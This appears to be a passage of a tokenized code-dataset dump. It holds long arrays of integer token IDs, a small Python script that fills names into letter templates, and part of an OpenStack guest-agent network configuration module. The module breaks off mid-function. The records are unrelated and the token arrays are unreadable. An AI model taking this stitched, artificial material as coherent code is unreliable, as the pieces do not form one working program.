13,
462,
18884,
5174,
9909,
29889,
15619,
408,
321,
29901,
13,
462,
462,
1678,
1583,
29889,
12276,
29918,
27392,
29898,
29872,
29889,
710,
2704,
718,
525,
1018,
3064,
29901,
525,
718,
3240,
2722,
29897,
13,
462,
462,
1678,
1369,
29918,
23482,
29918,
10382,
29898,
7097,
29918,
333,
29892,
9210,
29892,
3464,
29918,
355,
29892,
3240,
2722,
29899,
29896,
29897,
13,
462,
462,
1678,
2867,
13,
462,
18884,
5174,
9909,
29889,
2704,
408,
321,
29901,
13,
462,
462,
1678,
1583,
29889,
12276,
29918,
27392,
29898,
29872,
29889,
710,
2704,
718,
6702,
1018,
3064,
29901,
525,
718,
3240,
2722,
876,
13,
462,
462,
1678,
1369,
29918,
23482,
29918,
10382,
29898,
7097,
29918,
333,
29892,
9210,
29892,
3464,
29918,
355,
29892,
3240,
2722,
29899,
29896,
29897,
13,
462,
462,
1678,
2867,
13,
13,
462,
9651,
565,
451,
2793,
29901,
13,
462,
18884,
565,
6425,
29898,
3051,
29918,
3881,
29918,
355,
448,
9210,
29897,
1405,
29871,
29896,
29901,
13,
462,
462,
1678,
1369,
29918,
23482,
29918,
10382,
29898,
7097,
29918,
333,
29892,
9210,
29892,
2793,
29918,
3881,
29918,
355,
29897,
13,
462,
462,
1678,
1583,
29889,
12276,
29918,
27392,
703,
17854,
1095,
29871,
297,
1273,
29881,
29892,
4187,
9210,
29901,
1273,
29881,
451,
1095,
29908,
1273,
313,
3051,
29918,
3881,
29918,
355,
29892,
9210,
876,
13,
462,
462,
1678,
2867,
13,
462,
18884,
1683,
29901,
13,
462,
462,
1678,
2867,
13,
13,
462,
9651,
1583,
29889,
28544,
29918,
3204,
29898,
2962,
29918,
2230,
29892,
931,
29889,
2230,
3285,
9210,
448,
2793,
29918,
3881,
29918,
2962,
29897,
13,
462,
9651,
1583,
3032,
20849,
29918,
18035,
29898,
8516,
29897,
13,
462,
9651,
411,
12893,
29889,
908,
29901,
13,
462,
18884,
12893,
29889,
5461,
29889,
344,
1416,
29898,
10289,
29897,
13,
462,
18884,
12893,
29889,
5461,
29889,
3539,
29898,
3051,
29897,
13,
462,
18884,
9210,
353,
9210,
718,
7431,
29898,
3051,
29897,
13,
462,
18884,
12893,
29889,
690,
2017,
29918,
16859,
29961,
7097,
29918,
333,
22322,
2962,
2033,
353,
9210,
13,
462,
18884,
12893,
29889,
690,
2017,
29918,
16859,
29961,
7097,
29918,
333,
22322,
355,
2033,
353,
3464,
29918,
355,
13,
462,
18884,
565,
12893,
29889,
690,
2017,
29918,
16859,
29961,
7097,
29918,
333,
1822,
657,
703,
3784,
613,
29871,
29900,
29897,
1275,
29871,
29900,
29901,
13,
462,
462,
1678,
12893,
29889,
690,
2017,
29918,
16859,
29961,
7097,
29918,
333,
22322,
3784,
2033,
353,
7431,
29898,
3051,
29897,
13,
462,
18884,
1683,
29901,
13,
462,
462,
1678,
12893,
29889,
690,
2017,
29918,
16859,
29961,
7097,
29918,
333,
22322,
3784,
2033,
4619,
7431,
29898,
3051,
29897,
13,
13,
462,
18884,
12893,
29889,
10382,
287,
29918,
13193,
4619,
7431,
29898,
3051,
29897,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
1369,
29918,
23482,
29918,
10382,
29898,
7097,
29918,
333,
29892,
2793,
29918,
3881,
29918,
2962,
29892,
3464,
29918,
355,
29892,
3240,
2722,
29897,
13,
462,
4706,
1583,
29889,
12276,
29918,
27392,
703,
1333,
1462,
637,
1369,
16664,
29879,
881,
367,
17806,
29879,
29908,
1273,
313,
3881,
29918,
2962,
29892,
2793,
29918,
3881,
29918,
2962,
876,
13,
18884,
1683,
29901,
13,
462,
1678,
1583,
29889,
12276,
29918,
27392,
877,
3664,
1476,
2793,
29899,
3881,
1495,
13,
462,
1678,
12020,
7865,
2392,
13,
13,
9651,
5174,
313,
12667,
29918,
2271,
1982,
29918,
2704,
29889,
10493,
2392,
29892,
1723,
408,
4589,
29901,
13,
18884,
1583,
29889,
12276,
29918,
27392,
703,
6915,
1059,
23157,
13,
18884,
565,
3240,
2722,
1275,
29871,
29900,
29901,
13,
462,
1678,
736,
13,
18884,
1369,
29918,
23482,
29918,
10382,
29898,
7097,
29918,
333,
29892,
3464,
29918,
2962,
29892,
3464,
29918,
355,
29892,
3240,
2722,
448,
29871,
29896,
29897,
13,
13,
4706,
822,
6210,
29918,
28667,
7295,
13,
9651,
1369,
353,
931,
29889,
2230,
580,
13,
9651,
1286,
353,
931,
29889,
2230,
580,
13,
9651,
12893,
29889,
11083,
29918,
10389,
29918,
11808,
353,
12893,
29889,
10382,
287,
29918,
13193,
13,
9651,
1550,
5852,
29901,
13,
18884,
1286,
353,
931,
29889,
2230,
580,
13,
18884,
12893,
29889,
690,
2017,
29918,
16859,
29918,
5461,
29889,
344,
1416,
29898,
29900,
29897,
13,
18884,
12893,
29889,
690,
2017,
29918,
16859,
29918,
5461,
29889,
509,
4661,
403,
29898,
29900,
29897,
13,
18884,
12893,
29889,
690,
2017,
29918,
16859,
29918,
5461,
29889,
23126,
580,
13,
18884,
12893,
29889,
690,
2017,
29918,
16859,
29918,
5461,
29889,
3539,
29898,
3126,
29889,
29881,
17204,
29898,
13073,
29889,
690,
2017,
29918,
16859,
876,
13,
18884,
12893,
29889,
690,
2017,
29918,
16859,
29918,
5461,
29889,
23126,
580,
13,
13,
18884,
6210,
353,
1583,
29889,
28667,
29918,
19322,
29898,
2962,
29892,
1286,
29892,
12893,
29889,
10382,
287,
29918,
13193,
448,
12893,
29889,
11083,
29918,
10389,
29918,
11808,
29897,
13,
18884,
634,
29874,
353,
1583,
29889,
28667,
29918,
1187,
29898,
2962,
29892,
931,
29889,
2230,
3285,
12893,
29889,
1272,
29918,
2435,
448,
12893,
29889,
11083,
29918,
10389,
29918,
11808,
29892,
12893,
29889,
10382,
287,
29918,
13193,
448,
12893,
29889,
11083,
29918,
10389,
29918,
11808,
29897,
13,
18884,
1583,
3032,
20849,
29918,
18035,
3319,
13,
462,
1678,
525,
4882,
2396,
525,
10382,
292,
742,
13,
462,
1678,
525,
10382,
287,
29918,
13193,
2396,
12893,
29889,
10382,
287,
29918,
13193,
29892,
13,
462,
1678,
525,
7827,
29918,
13193,
2396,
12893,
29889,
1272,
29918,
2435,
29892,
13,
462,
1678,
525,
9507,
2396,
12893,
29889,
9507,
29892,
13,
462,
1678,
525,
1187,
2396,
634,
29874,
29892,
13,
462,
1678,
525,
19322,
2396,
6210,
29892,
13,
462,
1678,
525,
295,
28170,
2396,
1286,
448,
12893,
29889,
2962,
29918,
2230,
29892,
13,
18884,
5615,
13,
13,
18884,
1369,
353,
931,
29889,
2230,
580,
13,
18884,
12893,
29889,
11083,
29918,
10389,
29918,
11808,
353,
12893,
29889,
10382,
287,
29918,
13193,
13,
18884,
931,
29889,
17059,
29898,
29896,
29897,
13,
18884,
565,
12893,
29889,
10382,
287,
29918,
13193,
6736,
12893,
29889,
1272,
29918,
2435,
29901,
13,
462,
1678,
1583,
3032,
20849,
29918,
18035,
3319,
13,
462,
4706,
525,
10382,
287,
29918,
13193,
2396,
12893,
29889,
1272,
29918,
2435,
29892,
13,
462,
4706,
525,
7827,
29918,
13193,
2396,
12893,
29889,
1272,
29918,
2435,
29892,
13,
462,
4706,
525,
9507,
2396,
12893,
29889,
9507,
29892,
13,
462,
4706,
525,
4882,
2396,
525,
4951,
3276,
742,
13,
462,
4706,
525,
295,
28170,
2396,
931,
29889,
2230,
580,
448,
12893,
29889,
2962,
29918,
2230,
29892,
13,
462,
1678,
5615,
13,
13,
462,
1678,
2867,
13,
13,
4706,
822,
731,
29918,
3881,
29898,
7971,
29892,
1369,
29892,
1095,
1125,
13,
9651,
3464,
29918,
6672,
353,
525,
13193,
16328,
29881,
29899,
29915,
1273,
1369,
13,
9651,
565,
1095,
29901,
13,
18884,
3464,
29918,
6672,
4619,
10007,
29918,
710,
29898,
355,
29897,
13,
9651,
12428,
29889,
1202,
29918,
6672,
877,
6069,
742,
3464,
29918,
6672,
29897,
13,
13,
4706,
3142,
353,
5235,
29918,
8977,
1839,
2271,
2033,
13,
4706,
12893,
353,
25553,
2677,
580,
13,
4706,
12893,
29889,
9507,
353,
10422,
13,
4706,
12893,
29889,
7050,
9507,
353,
1583,
29889,
7382,
29918,
978,
29898,
9507,
29897,
13,
4706,
12893,
29889,
690,
2017,
29918,
1445,
353,
12893,
29889,
7050,
9507,
718,
15300,
3126,
29915,
13,
4706,
12893,
29889,
5461,
353,
6213,
13,
4706,
12893,
29889,
2962,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
4706,
12893,
29889,
1271,
29918,
2311,
353,
1583,
29889,
7529,
29889,
657,
877,
28040,
414,
675,
742,
29871,
29896,
29900,
29906,
29946,
29897,
13,
13,
4706,
9066,
353,
11117,
29979,
449,
431,
287,
29880,
29899,
1217,
29899,
510,
2590,
2396,
525,
5574,
10827,
13,
4706,
788,
29918,
13662,
353,
5235,
29918,
8977,
29889,
657,
877,
1124,
29918,
13662,
1495,
13,
4706,
565,
788,
29918,
13662,
29901,
13,
9651,
9066,
29889,
5504,
29898,
1202,
29918,
13662,
29897,
13,
13,
4706,
4236,
29918,
2202,
29918,
1949,
353,
938,
29918,
272,
29918,
9290,
29898,
1311,
29889,
7529,
29889,
657,
877,
2267,
2722,
742,
29871,
29896,
29900,
876,
13,
13,
4706,
2009,
353,
9753,
277,
1891,
29918,
3089,
29898,
2271,
29892,
9066,
353,
9066,
29897,
13,
4706,
12893,
29889,
1272,
353,
1583,
29889,
2941,
29880,
29889,
332,
417,
2238,
29898,
3827,
29897,
13,
4706,
848,
29918,
2435,
353,
29871,
938,
29918,
272,
29918,
9290,
29898,
13073,
29889,
1272,
29889,
3888,
2141,
657,
877,
3916,
29899,
2848,
742,
6213,
876,
13,
4706,
565,
848,
29918,
2435,
338,
451,
6213,
322,
848,
29918,
2435,
1405,
29871,
29900,
29901,
13,
9651,
396,
2216,
2304,
2999,
3244,
5142,
29889,
13,
9651,
565,
12893,
29889,
1272,
29889,
3888,
2141,
657,
877,
23965,
29899,
29934,
6916,
742,
6213,
29897,
338,
6213,
29901,
13,
18884,
736,
9056,
26453,
29889,
6370,
29918,
10382,
29898,
1311,
1919,
10422,
29892,
5235,
29918,
8977,
29897,
13,
13,
9651,
12893,
29889,
690,
2017,
29918,
16859,
353,
5159,
13,
13,
29937,
12803,
10886,
934,
20873,
13,
9651,
396,
6204,
2066,
565,
451,
1863,
13,
9651,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
12508,
3434,
3871,
29898,
13073,
29889,
7050,
9507,
876,
338,
7700,
29901,
13,
18884,
285,
29892,
12893,
29889,
7050,
9507,
353,
9753,
277,
675,
29918,
3150,
29898,
13073,
29889,
7050,
9507,
29892,
525,
29893,
29890,
1495,
13,
18884,
285,
29889,
5358,
580,
13,
9651,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
13073,
29889,
690,
2017,
29918,
1445,
29897,
338,
7700,
29901,
13,
18884,
285,
29892,
12893,
29889,
690,
2017,
29918,
1445,
353,
9753,
277,
675,
29918,
3150,
29898,
13073,
29889,
690,
2017,
29918,
1445,
29892,
525,
29893,
1495,
13,
18884,
285,
29889,
5358,
580,
13,
13,
9651,
12893,
29889,
5461,
29892,
12893,
29889,
7050,
9507,
353,
9753,
277,
675,
29918,
3150,
29898,
13073,
29889,
7050,
9507,
29892,
525,
6050,
29974,
1495,
13,
9651,
12893,
29889,
690,
2017,
29918,
16859,
29918,
5461,
29892,
12893,
29889,
690,
2017,
29918,
1445,
353,
9753,
277,
675,
29918,
3150,
29898,
13073,
29889,
690,
2017,
29918,
1445,
29892,
525,
29878,
29974,
1495,
13,
9651,
4974,
12893,
29889,
5461,
338,
451,
6213,
13,
9651,
4974,
12893,
29889,
690,
2017,
29918,
16859,
29918,
5461,
338,
451,
6213,
13,
13,
9651,
12893,
29889,
9507,
353,
1583,
29889,
6201,
29918,
7382,
29918,
978,
29898,
13073,
29889,
7050,
9507,
29897,
13,
9651,
1583,
29889,
12276,
29918,
23848,
29898,
13073,
29889,
9507,
29897,
13,
29937,
355,
12803,
13,
13,
9651,
12893,
29889,
908,
353,
3244,
292,
29889,
16542,
580,
13,
9651,
12893,
29889,
1272,
29918,
2435,
353,
848,
29918,
2435,
13,
13,
9651,
20238,
353,
5159,
13,
9651,
12893,
29889,
7097,
29918,
2798,
353,
938,
29898,
1311,
29889,
7529,
29889,
657,
877,
7097,
29918,
2798,
742,
29871,
29945,
876,
13,
9651,
12893,
29889,
3881,
29918,
2311,
353,
938,
29898,
1272,
29918,
2435,
847,
12893,
29889,
7097,
29918,
2798,
29897,
13,
9651,
12893,
29889,
12765,
29918,
2311,
353,
29871,
29900,
13,
9651,
1855,
29918,
2311,
353,
313,
13073,
29889,
3881,
29918,
2311,
334,
12893,
29889,
7097,
29918,
2798,
29897,
13,
9651,
565,
12893,
29889,
1272,
29918,
2435,
1405,
1855,
29918,
2311,
29901,
13,
18884,
12893,
29889,
12765,
29918,
2311,
353,
12893,
29889,
1272,
29918,
2435,
448,
1855,
29918,
2311,
13,
9651,
25342,
12893,
29889,
1272,
29918,
2435,
529,
1855,
29918,
2311,
29901,
13,
18884,
12893,
29889,
12765,
29918,
2311,
353,
12893,
29889,
1272,
29918,
2435,
448,
1855,
29918,
2311,
13,
13,
9651,
1018,
29901,
13,
18884,
274,
16434,
353,
4390,
29889,
1359,
29898,
13073,
29889,
690,
2017,
29918,
16859,
29918,
5461,
29897,
13,
9651,
5174,
7865,
2392,
408,
321,
29901,
13,
18884,
274,
16434,
353,
6213,
13,
13,
9651,
817,
29918,
10382,
29918,
2311,
353,
29871,
29900,
13,
13,
9651,
6554,
29918,
13400,
353,
1583,
29889,
7529,
29889,
657,
877,
3605,
295,
13083,
1495,
13,
9651,
565,
6554,
29918,
13400,
29901,
13,
18884,
1583,
29889,
7529,
1839,
3605,
295,
13083,
2033,
353,
5785,
29898,
10492,
29918,
13400,
29897,
847,
5785,
29898,
13073,
29889,
7097,
29918,
2798,
29897,
13,
9651,
363,
474,
297,
3464,
29898,
13073,
29889,
7097,
29918,
2798,
1125,
13,
18884,
565,
274,
16434,
338,
451,
6213,
29901,
13,
462,
1678,
1369,
353,
274,
16434,
29961,
29875,
22322,
2962,
2033,
13,
462,
1678,
1095,
353,
274,
16434,
29961,
29875,
22322,
355,
2033,
13,
462,
1678,
817,
29918,
10382,
29918,
2311,
353,
817,
29918,
10382,
29918,
2311,
718,
313,
355,
448,
1369,
29897,
13,
462,
1678,
20238,
29889,
4397,
3552,
2962,
29892,
1095,
876,
13,
18884,
1683,
29901,
13,
462,
1678,
817,
29918,
10382,
29918,
2311,
353,
848,
29918,
2435,
13,
462,
1678,
565,
474,
1275,
12893,
29889,
7097,
29918,
2798,
448,
29871,
29896,
29901,
13,
462,
4706,
20238,
29889,
4397,
3552,
29875,
334,
12893,
29889,
3881,
29918,
2311,
718,
29871,
29896,
29892,
848,
29918,
2435,
876,
13,
462,
1678,
25342,
474,
1275,
29871,
29900,
29901,
13,
462,
4706,
20238,
29889,
4397,
3552,
29875,
334,
12893,
29889,
3881,
29918,
2311,
29892,
313,
29875,
718,
29871,
29896,
29897,
334,
12893,
29889,
3881,
29918,
2311,
718,
12893,
29889,
12765,
29918,
2311,
876,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
20238,
29889,
4397,
3552,
29875,
334,
12893,
29889,
3881,
29918,
2311,
718,
29871,
29896,
29892,
313,
29875,
718,
29871,
29896,
29897,
334,
12893,
29889,
3881,
29918,
2311,
876,
13,
13,
9651,
12893,
29889,
10382,
287,
29918,
13193,
353,
848,
29918,
2435,
448,
817,
29918,
10382,
29918,
2311,
13,
13,
9651,
22235,
29918,
7097,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
19322,
29918,
28667,
29897,
13,
9651,
3244,
29918,
1761,
353,
518,
28667,
29918,
7097,
29962,
13,
9651,
3244,
29918,
333,
353,
29871,
29900,
13,
9651,
363,
6350,
297,
20238,
29901,
13,
18884,
1369,
29892,
1095,
353,
6350,
13,
18884,
12893,
29889,
690,
2017,
29918,
16859,
29889,
4397,
3319,
29908,
2962,
1115,
1369,
29892,
376,
355,
1115,
1095,
1800,
13,
18884,
3244,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
2962,
29918,
23482,
29918,
10382,
29892,
6389,
7607,
7097,
29918,
333,
29892,
1369,
29892,
1095,
29892,
4236,
29918,
2202,
29918,
1949,
511,
1146,
9857,
29922,
5574,
29897,
13,
18884,
3244,
29889,
2962,
580,
13,
18884,
3244,
29918,
1761,
29889,
4397,
29898,
7097,
29897,
13,
18884,
3244,
29918,
333,
353,
3244,
29918,
333,
718,
29871,
29896,
13,
13,
9651,
22235,
29918,
7097,
29889,
2962,
580,
13,
13,
9651,
363,
3244,
297,
3244,
29918,
1761,
29901,
13,
18884,
3244,
29889,
7122,
580,
13,
13,
9651,
12893,
29889,
5461,
29889,
5358,
580,
13,
9651,
12893,
29889,
690,
2017,
29918,
16859,
29918,
5461,
29889,
5358,
580,
13,
9651,
1018,
29901,
13,
18884,
2897,
29889,
5992,
29898,
13073,
29889,
690,
2017,
29918,
1445,
29897,
13,
18884,
1583,
29889,
2202,
29918,
1267,
420,
29898,
13073,
29889,
7050,
9507,
29892,
12893,
29889,
9507,
29897,
13,
9651,
5174,
438,
29173,
408,
321,
29901,
13,
18884,
1583,
29889,
12276,
29918,
27392,
29898,
29872,
29889,
710,
2704,
29897,
13,
13,
9651,
736,
5852,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
12276,
29918,
2704,
877,
10382,
4418,
29892,
679,
2793,
3309,
1059,
29889,
1495,
13,
9651,
736,
7700,
13,
2
] |
projects/day024/main.py | gabrielmdr/100-days-of-code | 0 | 81953 | <reponame>gabrielmdr/100-days-of-code
names = []
startingletter = ""
# Open file and getting all names from it
with open("./Input/Names/invited_names.txt") as file:
for line in file:
names.append(line.strip())
# Getting the text from the starting letter
with open("./Input/Letters/starting_letter.txt") as file:
startingletter = file.read()
# Looping through the list of names and writing the final version of the letter for each person
for name in names:
with open(f"./Output/ReadyToSend/letter_for_{name}", "w") as readytosend:
readytosend.write(startingletter.replace("[name]", name))
| [
1,
529,
276,
1112,
420,
29958,
29887,
370,
12836,
3487,
29878,
29914,
29896,
29900,
29900,
29899,
16700,
29899,
974,
29899,
401,
13,
7039,
353,
5159,
13,
2962,
292,
15670,
353,
5124,
13,
13,
29937,
4673,
934,
322,
2805,
599,
2983,
515,
372,
13,
2541,
1722,
703,
6904,
4290,
29914,
8659,
29914,
11569,
1573,
29918,
7039,
29889,
3945,
1159,
408,
934,
29901,
13,
1678,
363,
1196,
297,
934,
29901,
13,
4706,
2983,
29889,
4397,
29898,
1220,
29889,
17010,
3101,
13,
13,
29937,
24162,
278,
1426,
515,
278,
6257,
5497,
13,
2541,
1722,
703,
6904,
4290,
29914,
12024,
2153,
29914,
2962,
292,
29918,
15670,
29889,
3945,
1159,
408,
934,
29901,
13,
1678,
6257,
15670,
353,
934,
29889,
949,
580,
13,
13,
29937,
21493,
292,
1549,
278,
1051,
310,
2983,
322,
5007,
278,
2186,
1873,
310,
278,
5497,
363,
1269,
2022,
13,
1454,
1024,
297,
2983,
29901,
13,
1678,
411,
1722,
29898,
29888,
1642,
29914,
6466,
29914,
28181,
1762,
12600,
29914,
15670,
29918,
1454,
648,
978,
17671,
376,
29893,
1159,
408,
1303,
3637,
359,
355,
29901,
13,
4706,
1303,
3637,
359,
355,
29889,
3539,
29898,
2962,
292,
15670,
29889,
6506,
703,
29961,
978,
29962,
613,
1024,
876,
13,
2
] |
commands/network.py | prometheanfire/openstack-guest-agents-unix | 1 | 78502 | # vim: tabstop=4 shiftwidth=4 softtabstop=4
#
# Copyright (c) 2011 Openstack, LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#
"""
JSON misc commands plugin
"""
try:
import anyjson
except ImportError:
try:
import simplejson as json
except ImportError:
import json
class anyjson(object):
"""Fake anyjson module as a class"""
@staticmethod
def serialize(buf):
return json.dumps(buf)
@staticmethod
def deserialize(buf):
return json.loads(buf)
from cStringIO import StringIO
import fcntl
import logging
import os
import platform
import pyxenstore
import re
import socket
import time
from ctypes import *
import agentlib
import commands
import debian.network
import redhat.network
import arch.network
import suse.network
import gentoo.network
import freebsd.network
XENSTORE_INTERFACE_PATH = "vm-data/networking"
XENSTORE_HOSTNAME_PATH = "vm-data/hostname"
DEFAULT_HOSTNAME = ''
HOSTS_FILE = '/etc/hosts'
RESOLV_CONF_FILE = '/etc/resolv.conf'
if os.uname()[0].lower() == 'freebsd':
INTERFACE_LABELS = {"public": "xn0",
"private": "xn1"}
else:
INTERFACE_LABELS = {"public": "eth0",
"private": "eth1"}
NETMASK_TO_PREFIXLEN = {
'255.255.255.255': 32, '255.255.255.254': 31,
'255.255.255.252': 30, '255.255.255.248': 29,
'255.255.255.240': 28, '255.255.255.224': 27,
'255.255.255.192': 26, '255.255.255.128': 25,
'255.255.255.0': 24, '255.255.254.0': 23,
'255.255.252.0': 22, '255.255.248.0': 21,
'255.255.240.0': 20, '255.255.224.0': 19,
'255.255.192.0': 18, '255.255.128.0': 17,
'255.255.0.0': 16, '255.254.0.0': 15,
'255.252.0.0': 14, '255.248.0.0': 13,
'255.240.0.0': 12, '255.224.0.0': 11,
'255.192.0.0': 10, '255.128.0.0': 9,
'255.0.0.0': 8, '254.0.0.0': 7,
'252.0.0.0': 6, '248.0.0.0': 5,
'240.0.0.0': 4, '172.16.31.10': 3,
'192.0.0.0': 2, '172.16.17.32': 1,
'0.0.0.0': 0,
}
class NetworkCommands(commands.CommandBase):
def __init__(self, *args, **kwargs):
pass
@staticmethod
def detect_os():
"""
Return the Linux Distribution or other OS name
"""
translations = {"debian": debian,
"ubuntu": debian,
"redhat": redhat,
"centos": redhat,
"fedora": redhat,
"oracle": redhat,
"arch": arch,
"opensuse": suse,
"suse": suse,
"gentoo": gentoo,
"freebsd": freebsd}
system = os.uname()[0]
if system == "Linux":
system = platform.linux_distribution(full_distribution_name=0)[0]
# Arch Linux returns None for platform.linux_distribution()
if not system and os.path.exists('/etc/arch-release'):
system = 'arch'
if not system:
return None
system = system.lower()
global DEFAULT_HOSTNAME
DEFAULT_HOSTNAME = system
return translations.get(system)
@commands.command_add('resetnetwork')
def resetnetwork_cmd(self, data):
os_mod = self.detect_os()
if not os_mod:
raise SystemError("Couldn't figure out my OS")
xs_handle = pyxenstore.Handle()
try:
hostname = xs_handle.read(XENSTORE_HOSTNAME_PATH)
logging.info('hostname: %r (from xenstore)' % hostname)
except pyxenstore.NotFoundError:
hostname = DEFAULT_HOSTNAME
logging.info('hostname: %r (default)' % hostname)
interfaces = []
try:
entries = xs_handle.entries(XENSTORE_INTERFACE_PATH)
except pyxenstore.NotFoundError:
entries = []
for entry in entries:
data = xs_handle.read(XENSTORE_INTERFACE_PATH + '/' + entry)
data = anyjson.deserialize(data)
interfaces.append(data)
logging.info('interface %s: %r' % (entry, data))
del xs_handle
# Normalize interfaces data. It can come in a couple of different
# (similar) formats, none of which are convenient.
by_macaddr = dict([(mac, (up, name))
for name, up, mac in agentlib.get_interfaces()])
config = {}
for interface in interfaces:
ifconfig = {}
mac = interface.get('mac')
if not mac:
raise RuntimeError('No MAC found in config')
# by_macaddr is keyed using lower case hexadecimal
mac = mac.lower()
ifconfig['mac'] = mac
# 'label' used to be the method to determine which interface
# this configuration applies to, but 'mac' is safer to use.
# 'label' is being phased out now.
if mac not in by_macaddr:
raise RuntimeError('Unknown interface MAC %s' % mac)
ifconfig['label'] = interface.get('label')
up, ifname = by_macaddr[mac]
# Record if the interface is up already
ifconfig['up'] = up
# List of IPv4 and IPv6 addresses
ip4s = interface.get('ips', [])
ip6s = interface.get('ip6s', [])
if not ip4s and not ip6s:
raise RuntimeError('No IPs found for interface')
# Gateway (especially IPv6) can be tied to an interface
gateway4 = interface.get('gateway')
gateway6 = interface.get('gateway6')
# Filter out any IPs that aren't enabled
for ip in ip4s + ip6s:
try:
ip['enabled'] = int(ip.get('enabled', 0))
except ValueError:
raise RuntimeError("Invalid value %r for 'enabled' key" %
ip.get('enabled'))
ip4s = filter(lambda i: i['enabled'], ip4s)
ip6s = filter(lambda i: i['enabled'], ip6s)
# Validate and normalize IPv4 and IPv6 addresses
for ip in ip4s:
if 'ip' not in ip:
raise RuntimeError("Missing 'ip' key for IPv4 address")
if 'netmask' not in ip:
raise RuntimeError("Missing 'netmask' key for IPv4 address")
# Rename 'ip' to 'address' to be more specific
ip['address'] = ip.pop('ip')
ip['prefixlen'] = NETMASK_TO_PREFIXLEN[ip['netmask']]
for ip in ip6s:
if 'ip' not in ip and 'address' not in ip:
raise RuntimeError("Missing 'ip' or 'address' key for IPv6 address")
if 'netmask' not in ip:
raise RuntimeError("Missing 'netmask' key for IPv6 address")
if 'gateway' in ip:
# FIXME: Should we fail if gateway6 is already set?
gateway6 = ip.pop('gateway')
# FIXME: Should we fail if both 'ip' and 'address' are
# specified but differ?
# Rename 'ip' to 'address' to be more specific
if 'address' not in ip:
ip['address'] = ip.pop('ip')
# Rename 'netmask' to 'prefixlen' to be more accurate
ip['prefixlen'] = ip.pop('netmask')
ifconfig['ip4s'] = ip4s
ifconfig['ip6s'] = ip6s
ifconfig['gateway4'] = gateway4
ifconfig['gateway6'] = gateway6
# Routes are optional
routes = interface.get('routes', [])
# Validate and normalize routes
for route in routes:
if 'route' not in route:
raise RuntimeError("Missing 'route' key for route")
if 'netmask' not in route:
raise RuntimeError("Missing 'netmask' key for route")
if 'gateway' not in route:
raise RuntimeError("Missing 'gateway' key for route")
# Rename 'route' to 'network' to be more specific
route['network'] = route.pop('route')
route['prefixlen'] = NETMASK_TO_PREFIXLEN[route['netmask']]
ifconfig['routes'] = routes
ifconfig['dns'] = interface.get('dns', [])
config[ifname] = ifconfig
# TODO: Should we fail if there isn't at least one gateway specified?
#if not gateway4 and not gateway6:
# raise RuntimeError('No gateway found for public interface')
return os_mod.network.configure_network(hostname, config)
def _get_etc_hosts(infile, interfaces, hostname):
ips = set()
for interface in interfaces.itervalues():
ip4s = interface['ip4s']
if ip4s:
ips.add(ip4s[0]['address'])
ip6s = interface['ip6s']
if ip6s:
ips.add(ip6s[0]['address'])
outfile = StringIO()
for line in infile:
line = line.strip()
if '#' in line:
config, comment = line.split('#', 1)
config = config.strip()
comment = '\t#' + comment
else:
config, comment = line, ''
parts = re.split('\s+', config)
if parts:
if parts[0] in ips:
confip = parts.pop(0)
if len(parts) == 1 and parts[0] != hostname:
# Single hostname that differs, we replace that one
print >> outfile, '# %s\t# Removed by nova-agent' % line
print >> outfile, '%s\t%s%s' % (confip, hostname, comment)
elif len(parts) == 2 and len(
filter(lambda h: '.' in h, parts)) == 1:
# Two hostnames, one a hostname, one a domain name. Replace
# the hostname
hostnames = map(
lambda h: ('.' in h) and h or hostname, parts)
print >> outfile, '# %s\t# Removed by nova-agent' % line
print >> outfile, '%s\t%s%s' % (confip,
' '.join(hostnames), comment)
else:
# Don't know how to handle this line, so skip it
print >> outfile, line
ips.remove(confip)
else:
print >> outfile, line
else:
print >> outfile, line
# Add public IPs we didn't manage to patch
for ip in ips:
print >> outfile, '%s\t%s' % (ip, hostname)
outfile.seek(0)
return outfile.read()
def get_etc_hosts(interfaces, hostname):
if os.path.exists(HOSTS_FILE):
infile = open(HOSTS_FILE)
else:
infile = StringIO()
return HOSTS_FILE, _get_etc_hosts(infile, interfaces, hostname)
def get_gateways(interfaces):
gateway4s = []
gateway6s = []
for interface in interfaces.itervalues():
gateway = interface.get('gateway4')
if gateway:
gateway4s.append(gateway)
gateway = interface.get('gateway6')
if gateway:
gateway6s.append(gateway)
if len(gateway4s) > 1:
raise RuntimeError("Multiple IPv4 default routes specified")
if len(gateway6s) > 1:
raise RuntimeError("Multiple IPv6 default routes specified")
gateway4 = gateway4s and gateway4s[0] or None
gateway6 = gateway6s and gateway6s[0] or None
return gateway4, gateway6
def get_nameservers(interfaces):
for interface in interfaces.itervalues():
for nameserver in interface['dns']:
yield nameserver
def get_resolv_conf(interfaces):
resolv_data = ''
for nameserver in get_nameservers(interfaces):
resolv_data += 'nameserver %s\n' % nameserver
if not resolv_data:
return None, None
return RESOLV_CONF_FILE, '# Automatically generated, do not edit\n' + \
resolv_data
def sethostname(hostname):
agentlib.sethostname(hostname)
def stage_files(update_files):
tmp_suffix = '%d.tmp~' % os.getpid()
for filepath, data in update_files.items():
if os.path.exists(filepath):
# If the data is the same, skip it, nothing to do
if data == open(filepath).read():
logging.info("skipping %s (no changes)" % filepath)
del update_files[filepath]
continue
logging.info("staging %s (%s)" % (filepath, tmp_suffix))
tmp_file = '%s.%s' % (filepath, tmp_suffix)
f = open(tmp_file, 'w')
try:
f.write(data)
f.close()
os.chown(tmp_file, 0, 0)
os.chmod(tmp_file, 0644)
except:
os.unlink(tmp_file)
raise
def move_files(update_files, remove_files=None):
if not remove_files:
remove_files = set()
tmp_suffix = '%d.tmp~' % os.getpid()
bak_suffix = '%d.bak~' % time.time()
for filepath in update_files.iterkeys():
if os.path.exists(filepath):
# Move previous version to a backup
logging.info("backing up %s (%s)" % (filepath, bak_suffix))
os.rename(filepath, '%s.%s' % (filepath, bak_suffix))
logging.info("updating %s" % filepath)
try:
